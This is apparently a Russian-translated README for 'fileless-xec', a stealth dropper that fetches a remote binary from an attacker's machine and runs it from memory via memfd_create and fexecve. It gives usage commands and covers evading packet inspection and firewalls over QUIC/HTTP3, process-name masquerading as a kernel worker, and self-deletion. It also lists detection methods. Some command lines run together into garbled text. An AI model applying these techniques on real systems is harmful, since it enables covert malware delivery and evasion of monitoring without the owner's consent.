Стелс-дроппер, выполняющий удаленные бинарные файлы без сохранения их на диск .(поддержка HTTP3, поддержка ICMP, невидимые следы, кроссплатформенность,...)

👋 Certainly useful , mainly for fun, rougly inspired by 0x00 article
Использование в пентесте: fileless-xec используется на целевой машине для скрытого выполнения бинарного файла, расположенного на машине атакующего
fileless-xec позволяет выполнить удаленный бинарный файл на локальной машине прямо из памяти, не сохраняя его на диск
fileless-xec [binary_url] (~curl | sh для бинарных файлов)fileless-xec -n /usr/sbin/sshd [binary_url]tty: fileless-xec --setsid [...]
fileless-xecfileless-xec
fileless-xec на Windowsfileless-xec самоудаляется после запускаУдаленный бинарный файл сохраняется локально с помощью системного вызова memfd_create, который хранит его в memory disk, не отображаемом в файловой системе (т.е. вы не можете найти его с помощью ls).
Примечание: системный вызов memfd_create не существует для macOS.
Затем мы выполняем его с помощью системного вызова fexecve (так как он в настоящее время не предоставляется библиотекой syscall в golang, мы реализуем его).
С помощью
fexecveмы можем выполнить программу, но ссылаемся на программу для запуска, используя файловый дескриптор, а не полный путь.
Включите его с помощью флага -Q/http3. Вы можете настроить легкий веб-сервер rootfs, поддерживающий http3, запустив go run ./test/http3/light-server.go -p LISTENING PORT (Это http3-эквивалент python3 -m http.server )используйте test/http3/genkey.sh для генерации сертификата и ключа.
|
QUIC UDP, также известный как http3, — это протокол Интернета нового поколения, который ускоряет работу онлайн-веб-приложений, чувствительных к задержкам, таких как поиск, потоковое видео и т.д., за счет сокращения времени кругового пути (RTT), необходимого для подключения к серверу. Поскольку QUIC использует собственное шифрование, эквивалентное TLS (это изменится в будущем со стандартизированной версией), брандмауэры третьего поколения, обеспечивающие контроль и видимость приложений, сталкиваются с трудностями при контроле и мониторинге трафика QUIC.
Если вы используете fileless-xec в качестве дроппера (Только для тестирования или с разрешения), вы, вероятно, захотите выполнить какие-либо вредоносные программы или другие файлы, которые могут быть перехвачены при анализе пакетов. Следовательно, с включенным QUIC вы можете обойти анализ пакетов и загрузить вредоносное ПО.
Кроме того, в случае, если брандмауэр используется только для разрешения/блокировки трафика, может случиться так, что правила брандмауэра забывают про протокол UDP, что позволяет вашим запросам оставаться незамеченными
Хотя программа не присутствует на диске памяти, запущенную программу все еще можно обнаружить с помощью команды ps, например.
fileless-xec --name <fake_name> <binary_raw_url> по умолчанию имя — [kworker/u:0]
fileless-xec --setsid <binary_raw_url>.
Вы все еще можете быть обнаружены с помощью:
$ lsof | grep memfd
Или также opensnoop (но не execsnoop)
Или профиль seccomp, аудит системного вызова execve (но это очень нагружает, так как команда sleep также использует execve, например)